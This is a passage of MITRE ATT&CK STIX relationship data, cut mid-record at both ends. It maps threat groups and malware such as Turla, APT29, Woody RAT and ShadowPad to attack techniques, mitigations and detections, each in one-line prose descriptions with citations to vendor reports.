Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa44e12d-d936-47ba-8fb4-1c9775c08658","type":"relationship","created":"2021-06-30T19:56:41.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T18:19:50.825Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can use RC4 and XOR to encrypt C2 communications.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa4c9d5a-3329-4138-b6e1-990cd7935b87","created":"2024-03-14T17:48:36.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T23:51:35.138Z","description":"Consider disabling unnecessary remote connection functionality, including both unapproved software installations and specific features built into supported applications.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa50bbff-2f2f-47a8-b295-588e61b76a77","created":"2023-02-14T18:26:17.408Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T18:26:17.408Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can use AES-CBC to encrypt data sent to its C2 server.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa5b5933-f9e3-4bbb-b734-f1c5984ded97","type":"relationship","created":"2022-03-01T15:53:51.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FinFisher exposed ","url":"https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/","description":"Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."}],"modified":"2022-03-01T21:32:40.322Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) has used the KernelCallbackTable to hijack the execution flow of a process by replacing the __fnDWORD function with the address of a created [Asynchronous Procedure Call](https://attack.mitre.org/techniques/T1055/004) stub routine.(Citation: FinFisher exposed )","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}],"modified":"2020-06-29T03:33:39.232Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, the Program Files directory, and Recent.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also searched for files matching the lPH*.dll pattern.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa66467a-e6d8-49ff-add1-8e5c5e4ef1db","created":"2023-03-26T16:26:30.469Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:26:30.469Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used `netsh` to configure firewall rules that limited certain UDP outbound packets.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa68575d-4ffa-4532-a973-3506540e5c2e","created":"2024-03-06T19:30:56.710Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T19:30:56.710Z","description":"(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--554e010d-726b-439d-9a1a-f60fff0cc109","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa69ac7a-8031-4fac-91e2-65e90f378cd1","type":"relationship","created":"2020-06-11T19:52:07.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-11T19:52:07.273Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has spread its coinminer via SSH.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa6bb182-28e8-4293-90ba-ee9a5c23d45b","type":"relationship","created":"2021-08-18T18:52:48.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.866Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used external remote services such as virtual private networks (VPN) to gain initial access.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa6e0dbf-a53f-4763-abeb-bc0cf0f30b9a","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for changes made to services for unexpected modifications to names, descriptions, and/or start types","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa6f0d89-8a80-421b-bcb1-ef5ee31f0879","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2019-09-16T18:01:16.151Z","description":"Some [Orz](https://attack.mitre.org/software/S0229) strings are base64 encoded, such as the embedded DLL known as MockDll.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa6f9dc7-e984-411a-9ce4-a822d4213bc6","type":"relationship","created":"2021-12-06T15:30:05.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T15:30:05.925Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used batch scripts to enumerate users on a victim domain controller.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa717a25-6be4-4cfd-ba02-1adc633f80ba","type":"relationship","created":"2020-03-20T00:00:19.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PowerSploit May 2012","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","url":"https://github.com/PowerShellMafia/PowerSploit"},{"source_name":"PowerSploit Documentation","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","url":"http://powersploit.readthedocs.io"}],"modified":"2020-03-20T00:00:19.103Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa71c737-b017-47ff-bf2a-942643677ff0","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa7381ff-f2b8-4878-a9a0-10a703c7a5dd","type":"relationship","created":"2020-05-01T20:05:15.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.554Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has attempted to install a scheduled task named “Java Maintenance64” on startup to establish persistence.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa745ba0-428f-4c3c-84be-e333f659690f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"}],"modified":"2020-03-17T01:16:25.944Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the .LNK file from the startup directory as well as the dropper components.(Citation: FireEye FELIXROOT July 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa755fbd-3f98-4795-ba15-d1f80983b4d6","created":"2024-03-07T20:54:03.323Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T20:54:03.323Z","description":"(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--5dc9e8ec-9917-4de7-b8ab-16007899dd80","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa777c92-0431-4916-9527-4077e8b10559","type":"relationship","created":"2021-01-11T20:55:32.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}],"modified":"2021-01-11T21:10:11.153Z","description":"The [GuLoader](https://attack.mitre.org/software/S0561) executable has been retrieved via embedded macros in malicious Word documents.(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa77baa1-a258-4059-aa84-6822fe023d70","type":"relationship","created":"2020-05-27T13:35:36.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.323Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has used ZIP to compress data gathered on a compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa7887c3-d49d-4499-9ee4-f9a504ce7dec","type":"relationship","created":"2020-06-16T17:53:18.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T18:52:36.952Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used GitHub repositories for downloaders which will be obtained by the group's .NET executable on the compromised system.(Citation: ESET Gamaredon June 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa7b6b1c-de8b-4e6b-ae62-785bc6ce3c51","type":"relationship","created":"2021-03-23T20:49:40.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.314Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has injected a DLL into svchost.exe.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa82d7c2-bdc5-4945-9d59-5b40eb9a7454","type":"relationship","created":"2020-05-22T19:37:14.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}],"modified":"2020-05-29T14:02:52.921Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used SMB for lateral movement.(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa87affe-1703-48c9-adc7-14bf52d0cc14","created":"2024-09-23T22:15:09.646Z","revoked":false,"external_references":[{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:15:09.646Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used netstat to check if port 4119 is open.(Citation: trendmicro_redcurl) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa886684-e562-4a35-a8ee-43afe7614669","created":"2024-09-09T14:41:55.893Z","revoked":false,"external_references":[{"source_name":"Microsoft Learn ClickOnce and Authenticode","description":"Microsoft. (2023, March 9). ClickOnce and Authenticode. Retrieved September 9, 2024.","url":"https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-and-authenticode?view=vs-2022"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-09T14:41:55.893Z","description":"Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.(Citation: Microsoft Learn ClickOnce and Authenticode)","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa8ade25-da1d-4df1-9717-f812cb012837","created":"2023-03-13T15:35:58.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Azure Run Command 2021","description":"Adrien Bataille, Anders Vejlby, Jared Scott Wilson, and Nader Zaveri. (2021, December 14). Azure Run Command for Dummies. Retrieved March 13, 2023.","url":"https://www.mandiant.com/resources/blog/azure-run-command-dummies"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T14:33:26.155Z","description":"Limit the number of cloud accounts with permissions to remotely execute commands on virtual machines, and ensure that these are not used for day-to-day operations. In Azure, limit the number of accounts with the roles Azure Virtual Machine Contributer and above, and consider using temporary Just-in-Time (JIT) roles to avoid permanently assigning privileged access to virtual machines.(Citation: Mandiant Azure Run Command 2021) ","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa8c17ed-0cf5-4661-9436-e4ada316dbb8","created":"2024-03-28T15:46:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:16:10.809Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used Mimikatz and a custom tool, SecHack, to harvest credentials.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa8d15db-498b-45f5-8cc1-bf4cf70e2e62","type":"relationship","created":"2020-03-17T15:07:32.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-17T15:07:32.378Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has moved staged encrypted archives to Internet-facing servers 